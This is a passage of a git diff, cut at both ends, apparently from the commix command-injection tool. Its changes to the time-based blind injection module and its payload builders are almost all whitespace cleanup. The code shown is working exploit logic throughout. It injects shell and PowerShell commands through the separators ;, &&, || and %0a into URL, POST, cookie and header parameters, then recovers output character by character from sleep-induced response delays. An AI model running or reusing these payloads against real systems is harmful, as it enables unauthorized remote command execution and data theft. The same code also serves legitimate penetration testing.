vuln_parameter, http_request_method, url, timesec, # Check if defined POST data if not settings.USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) + # payload = _urllib.parse.quote(payload) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) @@ -61,7 +61,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -69,7 +69,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) @@ -102,7 +102,7 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) - + # Check if defined method is POST. else: parameter = menu.options.data @@ -112,7 +112,7 @@ def injection_test(payload, http_request_method, url): parameter = ''.join(str(e) for e in parameter).replace("+","%2B") # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -120,11 +120,11 @@ def injection_test(payload, http_request_method, url): except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) - + # Check if defined extra headers. headers.do_check(request) # Get the response of the request @@ -168,12 +168,12 @@ def custom_header_injection_test(url, vuln_parameter, payload): The main command injection exploitation. """ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - + if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: + else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" if menu.options.file_write or menu.options.file_upload: @@ -190,7 +190,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) else: # Execute shell commands on vulnerable host. - payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) + payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) @@ -203,7 +203,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag @@ -226,15 +226,15 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) - else: + else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - + # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True - if injection_check == True: + if injection_check == True: if output_length > 1: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Retrieved the length of execution output: " + str(output_length) @@ -247,7 +247,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, break # Proceed with the next (injection) step! - if found_chars == True : + if found_chars == True : if settings.TARGET_OS == settings.OS.WINDOWS: cmd = previous_cmd num_of_chars = output_length + 1 @@ -256,11 +256,11 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_start = time.time() output = [] percent = "0.0%" - info_msg = "Presuming the execution output." + info_msg = "Presuming the execution output." if settings.VERBOSITY_LEVEL == 0 : info_msg += ".. (" + str(percent) + ")" else: - info_msg += "\n" + info_msg += "\n" if output_length > 1: sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -279,13 +279,13 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag @@ -307,15 +307,15 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) - - else: + + else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - + # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True - + if injection_check == True: if settings.VERBOSITY_LEVEL == 0: output.append(chr(ascii_char)) @@ -331,13 +331,13 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, sys.stdout.flush() else: output.append(chr(ascii_char)) - injection_check = False + injection_check = False break - + check_end = time.time() check_how_long = int(check_end - check_start) output = "".join(str(p) for p in output) - + # Check for empty output. if output == (len(output) * settings.SINGLE_WHITESPACE): output = "" @@ -358,7 +358,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese previous_cmd = cmd if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: + else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" found_chars = False @@ -369,17 +369,17 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese timesec = timesec + random.randint(3, 5) # Checking the output length of the used payload. - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(".") for output_length in range(1, 3): - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(".") # Execute shell commands on vulnerable host. if alter_shell: payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) else: payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) - + # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) @@ -392,7 +392,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag @@ -415,7 +415,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) - else: + else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): @@ -429,7 +429,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese check_start = 0 check_end = 0 check_start = time.time() - + output = [] percent = 0 sys.stdout.flush() @@ -445,7 +445,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese else: # Get the execution output, of shell execution. payload = tb_payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - + # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) @@ -458,7 +458,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag @@ -481,14 +481,14 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) - else: + else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): output.append(ascii_char) is_valid = True break - + if is_valid: break @@ -497,13 +497,13 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese output = "".join(str(p) for p in output) if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(" (done)") return how_long, output else: checks.unexploitable_point() - + """ Export the injection results @@ -518,7 +518,7 @@ def export_injection_results(cmd, separator, output, check_how_long): else: # Check if exists pipe filtration. if output != False : - err_msg = "It appears that '" + cmd + "' command could not return " + err_msg = "It appears that '" + cmd + "' command could not return " err_msg += "any output due to '" + separator + "' filtration on target host. " err_msg += "To bypass that limitation, use the '--alter-shell' option " err_msg += "or try another injection technique (i.e. '--technique=\"f\"')" diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 2137b56722..1edd5b1b1d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -30,28 +30,28 @@ def decision(separator, TAG, output_length, timesec, http_request_method): pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + + payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: if separator == ";" or separator == "%0a": - payload = (separator + - "str=$(echo " + TAG + ")" + separator + + payload = (separator + + "str=$(echo " + TAG + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + - "if [ " + str(output_length) + " -ne $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + "if [ " + str(output_length) + " -ne $str1 ]" + separator + + "then sleep 0" + separator + + "else sleep " + str(timesec) + separator + "fi" ) @@ -59,12 +59,12 @@ def decision(separator, TAG, output_length, timesec, http_request_method): elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + - "str=$(echo " + TAG + ")" + separator + + payload = (ampersand + + "sleep 0 " + separator + + "str=$(echo " + TAG + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + - "[ " + str(output_length) + " -eq $str1 ]" + separator + + "[ " + str(output_length) + " -eq $str1 ]" + separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -72,10 +72,10 @@ def decision(separator, TAG, output_length, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(output_length) + " -ne $(echo " + TAG + settings.SINGLE_WHITESPACE + - pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + + "[ " + str(output_length) + " -ne $(echo " + TAG + settings.SINGLE_WHITESPACE + + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -89,43 +89,43 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - + ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - + ) - else: + else: if separator == ";" or separator == "%0a": - payload = (separator + + payload = (separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + - "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + payload = (ampersand + settings.SINGLE_WHITESPACE + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + - "[ " + str(output_length) + " -eq ${str1} ] " + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + + "[ " + str(output_length) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: @@ -135,9 +135,9 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + separator + + "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) + ) else: pass @@ -150,7 +150,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me else: if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") - + return payload """ @@ -160,56 +160,56 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + cmd + + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + - "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + cmd + + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - else: + else: settings.USER_SUPPLIED_CMD = cmd if separator == ";" or separator == "%0a": - payload = (separator + - "str=\"$(echo $(" + cmd + "))\"" + separator + - #"str1=${%23str}" + separator + + payload = (separator + + "str=\"$(echo $(" + cmd + "))\"" + separator + + #"str1=${%23str}" + separator + "str1=$(expr length \"$str\")" + separator + - "if [ " + str(output_length) + " -ne $str1 ]" + separator + - "then sleep 0" + separator + - "else sleep " + str(timesec) + separator + + "if [ " + str(output_length) + " -ne $str1 ]" + separator + + "then sleep 0" + separator + + "else sleep " + str(timesec) + separator + "fi " ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0" + separator + + payload = (ampersand + + "sleep 0" + separator + "str=$(echo $(" + cmd + "))" + separator + # Find the length of the output. "str1=$(expr length $str)" + separator + - #"str1=${%23str} " + separator + - "[ " + str(output_length) + " -eq $str1 ]" + separator + + #"str1=${%23str} " + separator + + "[ " + str(output_length) + " -eq $str1 ]" + separator + "sleep " + str(timesec) ) #if menu.options.data: separator = _urllib.parse.unquote(separator) - + elif separator == "||" : pipe = "|" payload = (pipe + - "[ " +str(output_length)+ " -ne $(echo -n \"$(" + cmd + ")\" " + - pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + + "[ " +str(output_length)+ " -ne $(echo -n \"$(" + cmd + ")\" " + + pipe + "tr -d '\\n' " + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) ) else: @@ -224,42 +224,42 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - + ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + + cmd + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - + ) - else: + else: if separator == ";" or separator == "%0a": - payload = (separator + + payload = (separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + - "if [ " + str(output_length) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + + "if [ " + str(output_length) + " -ne ${str1} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + payload = (ampersand + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + - "[ " + str(output_length) + " -eq ${str1} ] " + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\")" + separator + + "[ " + str(output_length) + " -eq ${str1} ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: @@ -269,9 +269,9 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque pipe = "|" payload = (pipe + # Find the length of the output, using readline(). - "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\") ] " + separator + + "[ " + str(output_length) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'$(echo $(" + cmd + "))\'))\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) + ) else: pass @@ -292,29 +292,29 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + + payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + + payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - else: + else: settings.USER_SUPPLIED_CMD = cmd if separator == ";" or separator == "%0a" : - payload = (separator + + payload = (separator + # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + + "cmd=\"$(echo $(" + cmd + "))\"" + separator + # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + + "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + # Transform from Ascii to Decimal. "str=$(printf '%d' \"'$char'\")" + separator + # Perform the time-based comparisons @@ -327,16 +327,16 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "sleep 0 " + separator + + payload = (ampersand + + "sleep 0 " + separator + # Grab the execution output. - "cmd=\"$(echo $(" + cmd + "))\"" + separator + + "cmd=\"$(echo $(" + cmd + "))\"" + separator + # Export char-by-char the execution output. - "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + + "char=$(expr substr \"$cmd\" " + str(num_of_chars) + " 1)" + separator + # Transform from Ascii to Decimal. "str=$(printf '%d' \"'$char'\")" + separator + # Perform the time-based comparisons - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + "sleep " + str(timesec) ) #if menu.options.data: @@ -345,11 +345,11 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + cmd + pipe + "tr -d '\\n'" + - pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + - pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + + "[ " + str(ascii_char) + " -ne $(" + cmd + pipe + "tr -d '\\n'" + + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + + pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -363,41 +363,41 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" if separator == "|" or separator == "||" : pipe = "|" - payload = (pipe + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + + payload = (pipe + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - + ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + settings.SINGLE_WHITESPACE + - "for /f \"tokens=*\" %i in ('cmd /c " + + payload = (ampersand + settings.SINGLE_WHITESPACE + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" - + ) - else: + else: if separator == ";" or separator == "%0a": - payload = (separator + + payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\")" + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'$(echo $(" + cmd + 